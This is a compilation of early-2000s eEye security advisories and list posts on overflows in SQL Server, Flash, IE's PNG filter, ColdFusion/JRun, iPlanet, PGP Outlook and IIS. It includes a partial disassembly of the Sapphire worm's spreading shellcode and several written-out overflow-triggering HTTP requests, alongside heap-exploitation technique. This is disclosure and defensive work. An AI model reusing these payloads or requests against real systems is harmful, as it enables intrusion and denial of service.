sqlsort.dll. It snags the necessary library base addresses and function | entry points as needed. 2. Calls gettickcount, and uses returned | count as a | pseudo-random seed 3. Creates a UDP socket 4. Performs a simple pseudo | random number generation formula using the returned gettickcount value to | generate an IP Address that will later be used as the target. 5. | Send worm | payload in a SQL Server Resolution Service request to the pseudo random | target address, on port 1434 (UDP). 6. Return back to formula and continue | generating new pseudo random addresses. | | | push42B0C9DCh ; [RET] sqlsort.dll -> jmp esp | mov eax, 1010101h ; Reconstruct session, after the | overflow the payload buffer | ; get'
SQL Sapphire Worm Analysis
SQL Sapphire Worm Analysis Release Date: 1/25/03 Severity: High Systems Affected: Microsoft SQL Server 2000 pre SP 2 Description: Late Friday, January 24, 2003 we became aware of a new SQL worm spreading quickly across various networks around the world. The worm is spreading using a buffer overflow to exploit a flaw in Microsoft SQL Server 2000. The SQL 2000 server flaw was discovered in July, 2002 by Next Generation Security Software Ltd. The buffer overflow exists because of the way SQL improperly handles data sent to its Microsoft SQL Monitor port. Attackers leveraging this vulnerability will be executing their code as SYSTEM, since Microsoft SQL Server 2000 runs with SYSTEM privileges. The worm works by generating pseudo-random IP addresses to try to infect with its payload. The worm payload does not contain any additional malicious content (in the form of backdoors etc.); however, because of the nature of the worm and the speed at which it attempts to re-infect systems, it can potentially create a denial-of-service attack against infected networks. We have been able to verify that multiple points of connectivity on the Internet have been bogged down since 9pm Pacific Standard Time. It should be noted that this worm is not the same as an earlier SQL worm that used the SA/nopassword SQL vulnerability as its spread vector. This is a new worm is more devastating as it is taking advantage of a software-specific flaw rather than a configuration error. We have already had many reports of smaller networks brought down due to the flood of data from the Sapphire Worm trying to re-infect new systems. Corrective Action We recommend that people immediately firewall SQL service ports at all of their gateways. The worm uses only UDP port 1434 (SQL Monitor Port) to spread itself to a new system; however, it is safe practice to filter all SQL traffic at all gateways. The following is a list of SQL server ports: ms-sql-s 1433/tcp #Microsoft-SQL-Server ms-sql-s 1433/udp #Microsoft-SQL-Server ms-sql-m 1434/tcp #Microsoft-SQL-Monitor ms-sql-m 1434/udp #Microsoft-SQL-Monitor Once again this worm is taking advantage of a known vulnerability that has had a patch available for many months. Microsoft has also released a recent service pack for SQL (Service Pack 3) that includes a fix for this vulnerability. Standalone patch: http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/ bulletin/MS02-039.asp SQL 2000 Service Pack 3: http://www.microsoft.com/sql/downloads/2000/sp3.asp Previous SQL Service Pack versions are vulnerable. Technical Description The following is a quick run-down of what the worm's payload is doing after infection: 1. Retrieves the address of GetProcAddress and Loadlibrary from the IAT in sqlsort.dll. It snags the necessary library base addresses and function entry points as needed. 2. Calls gettickcount, and uses returned count as a pseudo-random seed 3. Creates a UDP socket 4. Performs a simple pseudo random number generation formula using the returned gettickcount value to generate an IP Address that will later be used as the target. 5. Send worm payload in a SQL Server Resolution Service request to the pseudo random target address, on port 1434 (UDP). 6. Return back to formula and continue generating new pseudo random addresses. push42B0C9DCh ; [RET] sqlsort.dll -> jmp esp mov eax, 1010101h ; Reconstruct session, after the overflow the payload buffer ; get's corrupted during program execution but before the ; payload is executed. . xor ecx, ecx mov cl, 18h FIXUP: pusheax loopFIXUP xor eax, 5010101h pusheax mov ebp, esp pushecx push6C6C642Eh push32336C65h push6E72656Bh ; kernel32 pushecx push746E756Fh ; GetTickCount push436B6369h push54746547h mov cx, 6C6Ch pushecx push642E3233h ; ws2_32.dll push5F327377h mov cx, 7465h pushecx push6B636F73h ; socket mov cx, 6F74h pushecx push646E6573h ; sendto mov esi, 42AE1018h ; IAT from sqlsort lea eax, [ebp-2Ch] ; (ws2_32.dll) pusheax calldword ptr [esi] ; call loadlibrary pusheax lea eax, [ebp-20h] pusheax lea eax, [ebp-10h] ; (kernel32.dll) pusheax calldword ptr [esi] ;
Macromedia Shockwave Flash Malformed Header Overflow #2
Macromedia Shockwave Flash Malformed Header Overflow #2 Release Date: December 16, 2002 Severity: High (Remote Code Execution) Systems Affected: Macromedia Flash Player versions less than 6.0.65.0 Description: While working on some pre-release Retina® CHAM tools, multiple exploitable conditions were discovered within the Shockwave Flash file format SWF (pronounced "SWIF"). There exists a vulnerability within Macromedia's Flash software and its handling of malformed Flash files. Attackers can use this vulnerability to compromise users of Macromedia's Flash software. A corrupt file may be placed on a website or in some cases within an HTML email. We provided Macromedia with various corrupt Flash files, a few of which we verified for exploitability. Macromedia has since fixed the exploitable conditions as well as various other bugs that were found. The primary danger of exploiting Macromedia Flash is its extensive user base and portability across operating systems. Further, it is "version frozen" on operating system installation set-ups, so issues may linger for sometime. Regardless, Macromedia has fixed all of the known issues. Technical Description: The data header is roughly made out as: [Flash Signature][version (1)][File Length(a number of bytes too short)][Frame Size (malformed)][Frame Rate (malformed)][Frame Count (malformed)][Data] While the diagram may remain the same for this issue as in the previous issue (http://www.eeye.com/html/Research/Advisories/AD20020808b.html), there are variations in the malformed data which are very specific to this issue. In this case, EBP is completely controlled, so exploitation is straight-forward. EDI is also directly controlled as well as EDX and EDI which all give attackers the ability to easily exploit the vulnerable scenarios. Protection: Retina® Network Security Scanner (http://www.eeye.com/Retina) has been updated to identify this latest Macromedia Flash vulnerability. Vendor Status: Macromedia has been notified and released a patch for this vulnerability, available at: http://www.macromedia.com/v1/handlers/index.cfm?ID=23569 Credit: Drew Copley, Research Engineer, eEye Digital Security Greetings: StoneFisk, the Shrug, Zonetripper, Die Liu Yu, Dror Shalev, Malware. Copyright (c) 1998-2002 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail [EMAIL PROTECTED] for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback Please send suggestions, updates, and comments to: eEye Digital Security http://www.eEye.com [EMAIL PROTECTED]
PNG (Portable Network Graphics) Deflate Heap Corruption Vulnerability
PNG (Portable Network Graphics) Deflate Heap Corruption Vulnerability Release Date: December 11, 2002 Severity: High (Code Execution) Systems Affected: We have specifically tested the following software and verified the potential for exploitation: Microsoft Internet Explorer 5.01 Microsoft Internet Explorer 5.5 Microsoft Internet Explorer 6.0 Note: We have also successfully exploited this vulnerability via the IE web control for Microsoft Outlook. For the purpose of completeness we have included a listing of each product that ships with the vulnerable pngfilt.dll version 6.0.2600.0 and prior. We obtained this list from Microsofts DLL Help Database: Access 2000 SR1 BackOffice 4.5 Commerce Server 2000 DirectX 6.0 SDK DirectX 6.0 SDK Internet Explorer 4.0 Internet Explorer 4.01 SP1 Internet Explorer 4.01 SP1 Internet Explorer 4.01 SP2 Internet Explorer 4.01 SP2 Internet Explorer 5.0 Internet Explorer 5.01 Internet Explorer 5.5 Internet Explorer 5.5 Service Pack 2 Internet Explorer 6.0 Microsoft Visual Studio .NET (2002) Enterprise Architect Microsoft Visual Studio .NET (2002) Enterprise Architect Microsoft Visual Studio .NET (2002) Enterprise Developer Microsoft Visual Studio .NET (2002) Professional Office 2000 Developer Office 2000 SR1 Office 2000 SR1 Office XP Professional Project 2002 Professional Publisher 98 Publisher 98 SNA Server 4.0 SP2 SNA Server 4.0 SP2 SNA Server 4.0 SP3 SNA Server 4.0 SP3 SQL Server 7.0 SQL Server 7.0 SharePoint Portal Server Small Business Server 2000 Small Business Server 2000 Visio 2002 Professional Visio 2002 Standard Visual Basic .NET Standard 2002 Visual C# .NET Standard 2002 Visual C++ .NET Standard 2002 Visual FoxPro 7.0 Visual Studio 6.0 Visual Studio 6.0 Visual Studio 6.0 SP4 Visual Studio 6.0 SP5 Windows 2000 Datacenter Server Windows 2000 Professional Windows 2000 Server Windows 95 OSR 2.5 Windows 95 OSR 2.5 Windows 98 Windows 98 Second Edition Windows Millenium Edition Windows NT 4.0 SP5 Windows NT 4.0 SP5 Windows XP Home 2002 Windows XP Professional 2002 Twas the night before Christmas, and deep in IE A creature was stirring, a vulnerability MS02-066 was posted on the website with care In hopes that Team eEye would not see it there But the engineers weren't nestled all snug in their beds, No, PNG images danced in their heads And Riley at his computer, with Drew's and my backing Had just settled down for a little PNG cracking When rendering an image, we saw IE shatter And with just a glance we knew what was the matter Away into SoftICE we flew in a flash Tore open the core dumps, and threw RFC 1951 in the trash The bug in the thick of the poorly-written code Caused an AV exception when the image tried to load Then what in our wondering eyes should we see But our data overwriting all of heap memory With heap management structures all hijacked so quick We knew in a moment we could exploit this $#!% More rapid than eagles our malicious pic came -- The hardest part of this exploit was choosing its name Derek Soeder Software Engineer eEye Digital Security Overview: During a review of the PNG image format implemented in Microsoft Windows, two separate vulnerabilities were discovered related to the interpretation of PNG image data. The first vulnerability deals with the handling of the IDAT header and does not appear to be of significant threat level. The second vulnerability can be exploited to execute code when the malicious PNG image is viewed. Due to the complexity of each of these vulnerabilities we have decided only to describe the latter in detail. General Description: A heap corruption vulnerability exists due to the way the function inflate_fast(), within pngfilt.dll, handles certain invalid data present in deflate data input streams in a PNG image file. The deflate compression specification allows for the repetition of patterns that occur in the decompressed data. This is accomplished by specifying a pair of special codes that tell the decompression routine how far back into the decompressed stream the pattern occurred (distance code), and the length of the pattern to repeat in bytes (length code). The inflate_fast() routine does not properly handle length codes marked in the specification as invalid, and as a result, a pattern can be replicated over a large portion of the heap, allowing a skilled attacker to redirect the execution of a thread into a deflated payload embedded in the deflate datastream within the malicious PNG image. Technical Description: The heap overflow described above occurs in the interpretation of a compressed block that uses fixed Huffman codes (BTYPE = 1). Length codes #286 and #287, while labeled as invalid in the formal specification (RFC 1951), are not discarded by the inflation routine, and are instead treated as zero-length codes. However, due to the way the inflation routine is designed (see below), the length counter is decremented prior to being evaluated, and an integer overflow will occur. As a re
EEYE: Macromedia ColdFusion/JRun Remote SYSTEM Buffer Overflow Vulnerabilities
Macromedia ColdFusion/JRun Remote SYSTEM Buffer Overflow Vulnerabilities Release Date: November 12, 2002 Severity: High (Remote SYSTEM level code execution) Systems Affected: Macromedia Coldfusion 6.0 and prior (IIS ISAPI) Macromedia JRun 4.0 and prior (IIS ISAPI) Description: Macromedia JRun and ColdFusion IIS ISAPI handlers contain various heap overflows when handling URI filenames. By supplying a filename over 4096 bytes in size, heap memory can be overwritten. Various structures can be overwritten in the process heap to gain control of the remote IIS process with SYSTEM level access. This makes it rather trivial for attackers to remotely compromise Microsoft IIS web servers running vulnerable versions of Macromedia Coldfusion or JRun. The following requests can be used to duplicate the attack. For JRun: telnet example.com 80 GET /[+4096 byte buffer].jsp HTTP/1.0 [enter] [enter] For Coldfusion: telnet example.com 80 GET /[+4096 byte buffer].cfm HTTP/1.0 [enter] [enter] During testing, 5000 bytes was sufficient to begin overwriting data structures that made exploitation straightforward. The vulnerabilities exist in error handling within the ISAPI filters. Protection: eEye Digital Security customers using SecureIIS are protected from the exploitation of this vulnerability. http://www.eeye.com/SecureIIS Vendor Status: Macromedia has released patches for both the JRun and Coldfusion products. ColdFusion MX Advisory: http://www.macromedia.com/v1/handlers/index.cfm?ID=23161 JRun Advisory: http://www.macromedia.com/v1/handlers/index.cfm?ID=23500 Credit: Riley Hassell, Research Engineer - eEye Digital Security Greetings: Eli, Kasia, Jenn, Hx2, and the all the crazy kiwi's with hackfu Copyright (c) 1998-2002 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail [EMAIL PROTECTED] for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback Please send suggestions, updates, and comments to: eEye Digital Security http://www.eEye.com [EMAIL PROTECTED]
RE: White paper: Exploiting the Win32 API.
I am aware of a Microsoft application that has made such a mistake. http://www.atstake.com/research/advisories/2000/a090700-1.txt is an example of one. In fact you would be surprised at the number of services vulnerable to these types of attacks. From personal firewalls, to anti-virus and so on. priv. escalation through windows message attacks is nothing new. back when i was in rhino9, 4 or so years ago, we were performing similar attacks to do priv. escalation from IUSR to SYSTEM. out of box the way windows messaging works i think is flawed... yes there are things you can do to protect from most of these attacks. however windows should install out of box with these attacks in mind... secure by default and all that jazz ;-) there is a lot that can be done at the OS level to protect from programmers who do not know any better. I know Microsoft keeps saying they will be secure by default... however I doubt we will see that anytime soon. especially for lower level stuff like this. Besides... its next to impossible to keep a local user from getting SYSTEM. There are just to many ways to do it. From service exploitation, to windows api's, to core flaws within windows architecture. any OS where locally you can input a chunk of data to some graphic routines, as an unprivileged user, and then b00m be executing code within the kernel... you cant trust that OS for local privilege separation of users and such. makes you wonder if you can even trust it in remote scenarios. :-o Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner http://eEye.com/Iris - Network Traffic Analyzer http://eEye.com/SecureIIS - Stop known and unknown IIS vulnerabilities -Original Message- From: John Howie [mailto:[EMAIL PROTECTED]] Sent: Tuesday, August 06, 2002 10:44 AM To: Chris Paget; [EMAIL PROTECTED] Subject: RE: White paper: Exploiting the Win32 API. Chris, This class of attack is not new, it has been discussed before. While you can assert that the blame lies with Microsoft (and I'll admit they do have some responsibility to address the problem you describe) the chief blame lies with the vendor of the software whose bad programming you are exploiting. There is no excuse to put a window for a process with the LocalSystem security context on a user's desktop. I am not aware of any Microsoft application that makes such a mistake. John Howie -Original Message- From: Chris Paget [mailto:[EMAIL PROTECTED]] Sent: Tuesday, August 06, 2002 9:14 AM To: [EMAIL PROTECTED] Subject: White paper: Exploiting the Win32 API. I have written a white paper documenting what I believe is the first public example of a new class of attacks against the Win32 API. This particular attack exploits major design flaws in the Win32 API in order for a local user to escalate their privileges, either from the console of a system or on a Terminal Services link. The paper is available at http://security.tombom.co.uk/shatter.html In order to pre-empt some of the inevitable storm about responsible disclosure, let me point out the following. 1) The Win32 API has been in existence since the days of Windows NT3.1, back in July 1993. These vulnerabilities have been present since then. 2) Microsoft have known about these vulnerabilities for some time. This research was sparked by comments by Jim Allchin talking under oath at the Microsoft / DoJ trial some 3 months ago. http://www.eweek.com/article2/0,3959,5264,00.asp Given the age of the Win32 API, I would be highly surprised if they have not known about these attacks for considerably longer. 3) Microsoft cannot fix these vulnerabilities. These are inherent flaws in the design and operation of the Win32 API. This is not a bug that can be fixed with a patch. 4) The white paper documents one example of these class of flaws. They have been discussed before on Bugtraq, however to my knowledge there have been no public working exploits. I have just documented one way to get this thing working. 5) This is not a bug. This is a new class of vulnerabilities, like a buffer overflow attack or a format string attack. As such, there is no specific vendor to inform, since it affects every software maker who writes products for the Windows platform. A co-ordinated release with every software vendor on the planet is impossible. Chris -- Chris Paget [EMAIL PROTECTED]
EEYE: Sun(TM) ONE / iPlanet Web Server 4.1 and 6.0 Remote Buffer Overflow
Sun(TM) ONE / iPlanet Web Server 4.1 and 6.0 Remote Buffer Overflow Release Date: August 8, 2002 Severity: High (Remote SYSTEM/ROOT) Systems Affected: iPlanet 6.0 and prior Description: A vulnerability in transfer chunking can be exploited to remotely execute code of an attacker's choice on a vulnerable machine. By sending a carefully crafted session, an attacker can overwrite a section of the heap. Various data structures in the overwritten heap can be manipulated to move attacker supplied data to attacker supplied memory addresses, thereby altering the flow of execution into an attacker supplied payload. Note this variant is not the integer overflow affecting IIS and Apache that was discovered during regression testing with Microsoft. This is another variant relating to incorrect size calculation. The following example will show the vulnerable condition: **Begin Session POST /EEYE.html HTTP/1.1 Host: www.EEYE2002.com Transfer-Encoding: chunked Content-Length: 22 4 EEYE 7FFF [DATA] **End Session** [DATA] will overwrite heap memory. Increase or decrease depending on implementation. Technical Description: The example session above overwrites a section of the heap that contains data structures related to the Memory management system. By manipulating the content of these structures, we can overwrite an arbitrary 4 bytes of memory with an attacker supplied address. It is widely assumed that the risk for these type of vulnerabilities is fairly low due to the fact that addressing is dynamic and that you must use brute force in your attack; however, this is false assumption and exploitation can be successful with one attempt, across dll versions. An attacker can overwrite static global variables, stored function pointers, process management structures, memory management structures, or any number of data types that will allow him to gain control of the target application in one session. Vendor Status: Sun has released a security bulletin and patch: http://www.sun.com/service/support/software/iplanet/alerts/transferencodinga lert-23july2002.html Credit: Riley Hassell Greetings: Eli, Kasia, Halvar, FX, and the three amigos K2, Dark Spyrit, and Joey. Copyright (c) 1998-2002 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail [EMAIL PROTECTED] for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback Please send suggestions, updates, and comments to: eEye Digital Security http://www.eEye.com [EMAIL PROTECTED]
EEYE: Macromedia Shockwave Flash Malformed Header Overflow
Macromedia Shockwave Flash Malformed Header Overflow Release Date: August 8, 2002 Severity: High (Remote Code Execution) Systems Affected: Macromedia Shockwave Flash - All Versions; Unix and Windows; Netscape and Internet Explorer Description: While working on some pre-release eEye Retina CHAM tools, an exploitable condition was discovered within the Shockwave Flash file format called SWF (pronounced "SWIF"). Since this is a browser based bug, it makes it trivial to bypass firewalls and attack the user at his desktop. Also, application browser bugs allow you to target users based on the websites they visit, the newsgroups they read, or the mailing lists they frequent. It is a "one button" push attack, and using anonymous remailers or proxies for these attacks is possible. This vulnerability has been proven to work with all versions of Macromedia Flash on Windows and Unix, through IE and Netscape. It may be run wherever Shockwave files may be displayed or attached, including: websites, email, news postings, forums, Instant Messengers, and within applications utilizing web-browsing functionality. Technical Description: The data header is roughly made out to: [Flash signature][version (1)][File Length(A number of bytes too short)][frame size (malformed)][Frame Rate (malformed)][Frame Count (malformed)][Data] By creating a malformed header we can supply more frame data than the decoder is expecting. By supplying enough data we can overwrite a function pointer address and redirect the flow of control to a specified location as soon as this address is used. At the moment the overwritten address takes control flow, an address pointing to a portion of our data is 8 bytes back from the stack pointer. By using a relative jump we redirect flow into a "call dword ptr [esp+N]", where N is the number of bytes from the stack pointer. These "jump points" can be located in multiple loaded dll's. By creating a simple tool using the debugging API and ReadMemory, you can examine a process's virtual address space for useful data to help you with your exploitation. This is not to say other potentially vulnerable situations have not been found in Macromedia's Flash. We discovered about seventeen others before we ended our testing. We are working with Macromedia on these issues. Protection: Retina(R) Network Security Scanner already scans for this latest version of Flash on users' systems. Ensure all users within your control upgrade their systems. Vendor Status: Macromedia has released a patch for this vulnerability, available at: http://www.macromedia.com/v1/handlers/index.cfm?ID=23293&Method=Full&Title=M PSB02%2D09%20%2D%20Macromedia%20Flash%20Malformed%20Header%20Vulnerability%2 0Issue&Cache=False Discovery: Drew Copley Exploitation: Riley Hassell Greetings: Hacktivismo!, Centra Spike Copyright (c) 1998-2002 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail [EMAIL PROTECTED] for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback Please send suggestions, updates, and comments to: eEye Digital Security http://www.eEye.com [EMAIL PROTECTED]
EEYE: Remote PGP Outlook Encryption Plug-in Vulnerability
Remote PGP Outlook Encryption Plug-in Vulnerability Release Date: July 10, 2002 Severity: High (Remote Code Execution) Systems Affected: NAI PGP Desktop Security 7.0.4 NAI PGP Personal Security 7.0.3 NAI PGP Freeware 7.0.3 Description: The beer is still cold, the days are still long, the exploits still start as jokes (this time over a beer with a three letter agency) and the advisories... we'll just say, "All of your SCADA are belong to us." A vulnerability in the NAI PGP Outlook plug-in can be exploited to remotely execute code on any system that uses the NAI PGP Outlook plug-ins. By sending a carefully crafted email the message decoding functionality can be manipulated to overwrite various heap structures pertinent to the PGP plug-in. This vulnerability can be exploited by a user simply selecting a malicious email, the opening of attachments is not required. When the attack is performed against a target system, malicious code will be executed within the context of the user receiving the email. This can lead to the compromise of the targets machine, as well as their PGP encrypted communications. It should also be noted that because of the nature of the SMTP protocol this vulnerability can be exploited anonymously. Technical Description: Exploitation: By creating a malformed email we can overwrite a section of heap memory that contains various data. By overwriting this section of heap with valid addresses of an unused section in the PEB, which is the same across all NT systems, we can walk the email parsing and eventually get to something easily exploitable: CALL DWORD PTR [ecx] This pointer addresses references a function pointer list. At the time of exploitation, an attacker controlled buffer address is the first item on the stack. By overwriting the function pointer list pointer address with the address of an Import table, we can call any imported function. Our current stack will be passed into the function for parameter use. as is. The first item on our stack is an address that points to attacker-controlled data. By overwriting the address, with the address of the SetUnhandledExceptionFilter() IAT entry, execution will redirect into this address when the default exception handler is called, After returning from SetUnhandledExceptionFilter() PGP Outlook will fail as it crawls back down the call stack, after cycling through the exception list it will call the DefaultExceptionFilter, which now contains the address of our code. This of course can also be exploited silently using frame reconstruction. Due to the large size of an example vulnerable email we are not including it in our advisory. We will be updating the research section of our website with a link to an example email. http://www.eEye.com Where do you want your secret key to go today? Vendor Status: NAI has worked quickly to safeguard customers against this vulnerability. They have released a patch, for the latest versions of the PGP Outlook plug-in, to protect systems from this flaw. You may download the patch from: http://www.nai.com/naicommon/download/upgrade/patches/patch-pgphotfix.asp Note: This issue does not affect PGP Corporate Desktop users. Discover: Marc Maiffret Exploitation: Riley Hassell Greetings: Kasia, and the hot photographer from Inc Magazine. Phil Zimmerman, the godfather of personal privacy, much respect. Copyright (c) 1998-2002 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail [EMAIL PROTECTED] for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever arising out of or in connection with the use or spread of this information. Any use of this information is at the user's own risk. Feedback Please send suggestions, updates, and comments to: eEye Digital Security http://www.eEye.com [EMAIL PROTECTED]
Macromedia Flash Activex Buffer overflow
Macromedia Flash Activex Buffer overflow Release Date: 05/02/2002 Severity: High (Remote code execution) Systems Affected: Flash Activex Ocx Version 6, revision 23 (Possibly older versions) Forward: This is an unusual advisory in a number of ways. One, it was found while investigating an access error encountered during normal web surfing, which was suspicious. Within a few hours we had confirmed on multiple Operating Systems that this was an exploitable condition that overwrote EIP. Two, while we tested on these systems with the latest install from the vendor's site, when we contacted the vendor they informed us that they had just released a new build this same day which already fixed the problem. They asked us to confirm this. We tried the link they gave us and it did indeed fix the problem and was a new build. Testing the link later that night confirmed the link we used to install the ocx now had the fixed, latest version. In this, we congratulate Macromedia for: finding the bug, fixing it, and releasing the build in a timely fashion. This truly shows that they are dedicated to security just as they have stated they are. However, because there is a signed flash ocx out there which has been downloaded by an untold number of people, and potentially could still be used in an exploit scenario against those without the latest ocx we felt the need to release this advisory. Furthermore, this issue was found in the wild, and it is not safe to assume it could not be found by others with malicious intent. Nor do we believe it is safe to assume this has not been found by users with malicious intent. There are further issues with old activex objects which have such vulnerabilities which will be discussed in the description section. Description: A vulnerability in the parameter handling to the Flash OCX, which could lead to the execution of attacker supplied code via email, web or any other avenue in which Internet Explorer is used to display html that an attacker can supply. This includes software which uses the web browser activex. All users of Internet Explorer are potentially affected because this is a Macromedia signed ocx. We advise them to upgrade their flash version immediately to version 6, revision 29. Example: http://www.notthere8979873.com/notthere.swf?AAA[...unstated, but fixed number]"> Where X overwrites the EIP consistently across Windows platforms. Technical Description: Flash.ocx is an activex object installed with Internet Explorer, and is used to display flash objects on the web. Proper bounds checking is not in place in the "movie" parameter which overwrites EIP at an unsaid, but fixed number of bytes across Windows platforms. Because the ocx is signed by Macromedia: there is a chance the older activex could be used against people without flash; people whom have an older version of flash not affected may be forced to "upgrade" to the affected version; and, of course, those with the affected versions need to upgrade lest the exploit works out of the box on them. There has been considerable debate about legacy activex objects which have exploits within them. In general, if someone uses the codebase parameter to point to an affected version of the activex, the system will first try and grab the activex from Microsoft's activex store on the web. Then, it will try the activex specified in the codebase tag by the malicious user. We do not believe this method is full proof. We do not believe the method is full proof because of the potential of the activex storehouse check failing and because of the potentiality for the activex to be called by other methods. (At least a few potential other methods are in the RFC for applets and objects). However, the other option of setting the "kill bit" for the affected activex and reassigning the fixed activex version with a new classid is only a suggestion we will make in this case. We do not believe it is necessarily mandatory. Risk should be mitigated to a satisfactory level by users upgrading to the new ocx. Vendor Status: Visit Macromedia's site to get the latest Flash ocx to eliminate these issues. http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=Shock waveFlash Credit: Drew Copley Greetings: Fat code: presented by Yahoo and Weight Watchers. KROQ, and corn dog manufacturers world wide. Copyright (c) 1998-2002 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It is not to be edited in any way without express consent of eEye. If you wish to reprint the whole or any part of this alert in any other medium excluding electronic medium, please e-mail [EMAIL PROTECTED] for permission. Disclaimer The information within this paper may change without notice. Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties with regard to this information. In no event shall the author be liable for any damages whatsoever ar
Windows 2000 and NT4 IIS .ASP Remote Buffer Overflow
Windows 2000 and NT4 IIS .ASP Remote Buffer Overflow Release Date: 00/00/2002 Severity: High (Remote code execution) IWAM_MACHINE Privilege Level Systems Affected: Microsoft Windows NT 4.0 Internet Information Services 4.0 Microsoft Windows 2000 Internet Information Services 5.0 Description: A vulnerability in the ASP (Active Server Pages) ISAPI filter, loaded by default on all NT4 and Windows 2000 server systems (running IIS), can be exploited to remotely execute code of an attackers choice. The fault lies within the decoding and interpretation of form data received by malicious clients. By chunk encoding form data we can force IIS to overwrite 4 bytes of arbitrary memory with data we supply. This is a very serious vulnerability and eEye suggests that administrators install the Microsoft supplied patch as soon as possible. The following example will show the vulnerable condition. We will use a default .asp page left after install on a Windows 2000 server with the latest service packs. Example: **Begin Session POST /iisstart.asp HTTP/1.1 Accept: */* Host: eeye.com Content-Type: application/x-www-form-urlencoded Transfer-Encoding: chunked 10 PADPADPADPADPADP 4 DATA 4 DEST 0 [enter] [enter] **End Session** Technical Description: The example session above causes the default exception handler to execute from within the dllhost child process. When the default exception handler executes a window will open with this message: DLLHOST.EXE - Application error The instruction at 0x77fcb397 referenced memory at 0x54534544 Notice that 0x54534544 is the hex representation of "TSED", or the value "DEST" in little endian format. The DLLHOST.EXE process is trying to copy "DATA" to "DEST". Because there isn't writeable memory at 0x54534544, an access violation occurs and the structured exception handling (SEH) within the NT kernel catches it and kills the child dllhost.exe process. The crux of this problem lies in the fact that the memory we overwrite with our data contains Heap Management header structures, in our case being used by AllocateHeap(). Specifically, as we overwrote the header, we control two four byte addresses within it. These addresses are associated with the population and use of lookaside lists. The first four-byte address, which in our example is overwritten by "DATA", is an address that gets copied to the second four-byte address specified in header. We have also overwritten the second address, this time with "DEST". By overwriting these two addresses, we can put four bytes anywhere in memory that the child dllhost.exe has privileges to write to. This allows us to overwrite function pointers, saved instruction pointers, exception handlers, or anything else that will allow us to control the flow of execution into our payload. We have been most successful in exploitation by overwriting a structured exception handler address on the stack. Due to the fact that we supplied addresses that aren't associated with valid lookaside lists, an exception handler will be called, and when it does, it will call our modified routine, which points directly into payload code. It should be noted that while this vulnerability exists in the .ASP ISAPI, a mechanism is still required to get the malicious request to hit the vulnerable functions within the .ASP ISAPI. Although pages with form submissions make it easier to demonstrate this vulnerability, there are other methods for causing code to execute beyond the form variable referencing. In the above example we used a default .asp file that has script code within it that deals with .ASP Server Variables. When the .ASP ISAPI performs processing on the Server Variables, we are able to cause an overflow and execute code. There are .asp files by default in IIS that allow processing of Server Variables, which make it possible to demonstrate the existence of this vulnerability on default installations. Like most of the IIS vulnerabilities eEye has discovered in the past, firewalls and intrusion detection systems do not protect from this vulnerability. SecureIIS - Application Firewall for Microsoft IIS It should be noted that clients using SecureIIS 1.2.5 and above are secure from this vulnerability. This vulnerability was discovered by the eEye team while testing a new version of SecureIIS to help further its protection abilities. To learn more visit http://www.eeye.com/SecureIIS Vendor Status: Microsoft has released a security bulletin and patch: http://www.microsoft.com/technet/security/bulletin/MS02-018.asp Credit: Discovery: Riley Hassell Exploitation Research: Riley Hassell and Ryan Permeh Greetings: To all the people who continue to make the security industry more exciting with innovative research. Also to the rest of eEye, who help make all this magic possible. Copyright (c) 1998-2002 eEye Digital Security Permission is hereby granted for the redistribution of this alert electronically. It
Tool released to scan for possible CodeRed infected servers
In an effort to help administrators find all systems within their network that are vulnerable to the .ida buffer overflow attack, which the "Code Red" worm is using to spread itself, we have decided to release a free tool named CodeRed Scanner. It can scan a range of IP addresses and report back any IP addresses which are vulnerable to the .ida attack, and susceptible to the "Code Red" worm. The program will allow you to either scan a single IP address or a Class C (254) set of IP addresses. It will output a list of IP addresses which can be double clicked on to get information on how to patch your system from the .ida vulnerability and to eradicate the "Code Red" worm from your system. Also this is a program you get to install on your own computer so you do not have to go to a website and register to scan 1 IP address at a time etc... like some of the other scanners we have seen that scan for the CodeRed Worm. We are able to remotely scan IP addresses (web servers) for the .ida vulnerability (CodeRed Worm) without having to test your system via a buffer overflow, which can bring your web server down. Instead we use a technique which we have taken from Retina that allows CodeRed Scanner the ability to test a web server remotely, without causing any harm to it. This allows us to see if the .ida patch is installed or not (if the server is infected or susceptible to infection). To download CodeRed Scanner go to: http://www.eeye.com/html/Research/Tools/codered.html Signed, Marc Maiffret Chief Hacking Officer eEye Digital Security T.949.349.9062 F.949.349.9538 http://eEye.com/Retina - Network Security Scanner 